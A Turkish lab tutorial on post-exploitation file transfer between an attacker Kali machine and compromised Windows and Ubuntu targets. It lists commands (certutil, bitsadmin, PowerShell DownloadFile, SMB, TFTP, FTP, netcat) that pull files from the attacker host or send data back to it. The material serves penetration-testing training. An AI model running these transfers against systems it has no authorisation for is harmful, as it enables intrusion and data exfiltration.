Sızma Tekniklerinde Dosya Transferleri

25 Temmuz 2024 Perşembe

Dosya Transferi Hızlı Başvuru Kılavuzu

İçindekiler

  1. Laboratuvar ortamı kurulumu
  2. wget kullanarak dosya transferi
  3. curl kullanarak dosya transferi
  4. certutil kullanarak dosya transferi
  5. bitsadmin kullanarak dosya transferi
  6. PowerShell kullanarak dosya transferi
  7. SMB sunucusu kullanarak dosya transferi
  8. SCP kullanarak dosya transferi
  9. TFTP kullanarak dosya transferi
  10. FTP kullanarak dosya transferi
  11. Dosya transferi için sunucu kurulumunun farklı yöntemleri
  12. Netcat kullanarak dosya transferi
  13. Sonuç

Lab Kurulumu Burada dosya transferini, hedef makineyi zaten ele geçirdiğimizi ve başlangıçta shell erişimine sahip olduğumuzu varsayarak gerçekleştireceğiz.

Saldırgan Makinesi: Kali Linux (192.168.31.141) Hedef Makine 1: Windows 10 (192.168.31.219) Hedef Makine 2: Ubuntu

Saldırganın makinesi içinde, Python'un SimpleHTTPServer'ının bir yedeği olan updog sunucusunu kuracağız. Bu, hafif ve hızlı bir HTTP sunucusuna ihtiyaç duyulan senaryolar için kullanışlıdır. Sunucuyu kurmak için aşağıdaki komutu çalıştıracağız:

pip3 install updog 

Kurulum tamamlandıktan sonra sunucuyu 80 numaralı portta çalıştırabiliriz:

updog -p 80 

wget kullanarak dosya transferi Dosya transferi için wget komutunu kullanabiliriz. wget, webden dosya indirmek için güçlü bir komuttur. Windows'ta wget kullanarak dosya transferi yaparken, dosyayı kaydetmek için -o (-OutFile) bayrağını belirtmemiz gerektiği unutulmamalıdır. Bu bayrağı belirtmezsek, sadece bir nesne olarak döndürecektir (yani, WebResponseObject). Windows'ta wget komutu:

powershell wget http://192.168.31.141/ignite.txt -o ignite.txt dir type ignite.txt 

curl kullanarak dosya transferi Curl, çeşitli ağ protokollerini kullanarak dosya transferi yapabilen güçlü bir komut satırı aracıdır. Dosya transferi komutu:

curl http://192.168.31.141/ignite.txt -o ignite.txt 

certutil kullanarak dosya transferi certutil, Windows işletim sistemiyle birlikte gelen, sertifikaları ve kriptografik öğeleri yönetmek için tasarlanmış bir komut satırı aracıdır. Dosya transferi için kullanılabilecek komut:

certutil -urlcache -f http://192.168.31.141/ignite.txt ignite.txt 

Büyük dosyaları daha küçük segmentlere bölmek için -split seçeneği kullanılır:

certutil -urlcache -split -f http://192.168.31.141/ignite.txt ignite.txt 

bitsadmin kullanarak dosya transferi Bitsadmin, Windows'ta Arka Plan Akıllı Transfer Hizmeti (BITS) görevlerini yönetmek için bir komut satırı aracıdır. Farklı dosya transfer işlemlerini kolaylaştırır. Dosya transferi komutu:

bitsadmin /transfer job http://192.168.31.141/ignite.txt C:\Users\Public\ignite.txt 

PowerShell kullanarak dosya transferi Dosya transferi, PowerShell kullanılarak doğrudan şu komutla yapılabilir:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.31.141/ignite.txt', 'ignite.txt') 

SMB sunucusu kullanarak dosya transferi SMB, ağ içinde dosyalara, portlara vb. paylaşımlı erişim sağlamak için kullanılan bir protokoldür. Bunu etkinleştirmek için Kali Linux'ta impacket-smbserver script'ini kullanacağız. Paylaşılan dizin adı olarak "share" veriyoruz. Komut:

impacket-smbserver share $(pwd) -smb2support 

Windows makinesinde dosyaları share klasöründen kopyalamak için şu komut çalıştırılır:

copy \\192.168.31.141\share\ignite.txt 

Benzer şekilde, dosyayı Windows'tan Kali Linux'a kopyalamak için:

copy ignite.txt \\192.168.31.141\share\ignite.txt 

Başka bir Linux makinesinden dosya transferi yapmak için smbclient aracını kullanarak bağlanabilir ve put/get komutlarıyla dosyaları yükleyip indirebiliriz:

smbclient -L 192.168.31.141 smbclient “\\\\192.168.31.141\share” ls get ignite.txt put data.txt 

SCP kullanarak dosya transferi SCP (Güvenli Kopyalama Protokolü), yerel bir sistem ile uzak bir sunucu arasında veya iki uzak sunucu arasında dosya transferi için güvenli bir yöntemdir. SSH (Güvenli Kabuk) protokolü üzerinden çalışır. Windows'tan Kali'ye dosya kopyalamak için komut:

scp ignite.txt [email protected]:/tmp 

Kali Linux'tan Windows makinesine dosya transferi için:

scp ignite.txt [email protected]:/C:/Temp 

TFTP kullanarak dosya transferi TFTP (Basit Dosya Transfer Protokolü), ağ üzerinden dosya transferi için basit ve minimalistik bir protokoldür. UDP üzerinde çalışır ve hafiftir, ancak TCP'nin sunduğu güvenilirlik ve hata kontrolünü sağlamaz. Komutlar:

use auxiliary/server/tftp set srvhost 192.168.31.141 set tftproot /root/raj run 

Windows makinesinde dosyayı indirmek için:

tftp -i 192.168.31.219 GET ignite.txt dir 

FTP kullanarak dosya transferi FTP (Dosya Transfer Protokolü), ağ üzerinden dosya transferi için uzun süredir kullanılan bir protokoldür. Metasploit framework'ü kullanarak FTP servisini etkinleştirmek için komutlar:

use auxiliary/server/ftp set srvhost 192.168.31.141 set ftproot /root/raj set ftpuser raj set ftppass 123 run 

FTP sunucusunda dosya indirmek için:

ftp 192.168.31.141 dir get ignite.txt bye dir 

Python FTP sunucusunu kullanarak sunucu kurmak için:

pip3 install pyftpdlib python3 -m pyftpdlib -w -p 21 -u ignite -P 123 

Anonim giriş için:

python -m pyftpdlib -w -p 21 

Anonim giriş ile dosya listeleme:

ftp 192.168.31.141 ls 

Sunucu Kurulumu için Farklı Yöntemler PHP kullanarak sunucu kurmak için:

php -S 0.0.0.0:8081 

Python2 kullanarak sunucu kurmak için:

python2 -m SimpleHTTPServer 80 

Python3 kullanarak sunucu kurmak için:

python3 -m http.server 8000 

Netcat kullanarak dosya transferi Netcat (nc), TCP veya UDP üzerinden ağ bağlantılarına okuma ve yazma işlemleri yapabilen çok işlevli bir ağ aracıdır. Dosya transferi için basit bir istemci-sunucu yapılandırması kurabilir. Kali'de dosya almak için:

nc -lvp 5555 > file.txt 

Ubuntu'dan dosya göndermek için:

nc 192.168.31.141 5555 < file.txt 

Windows'tan dosya almak için:

nc.exe 192.168.31.141 5555 < data.txt 

Kali'de dosyayı almak için:

nc -lvp 5555 > data.txt cat data.txt 

Sonuç Çeşitli dosya transfer yöntemlerini inceledik. Hangi aracın kullanılacağı, kişinin tercihlerine ve durumlarına bağlıdır.

Bunları da beğenebilirsiniz.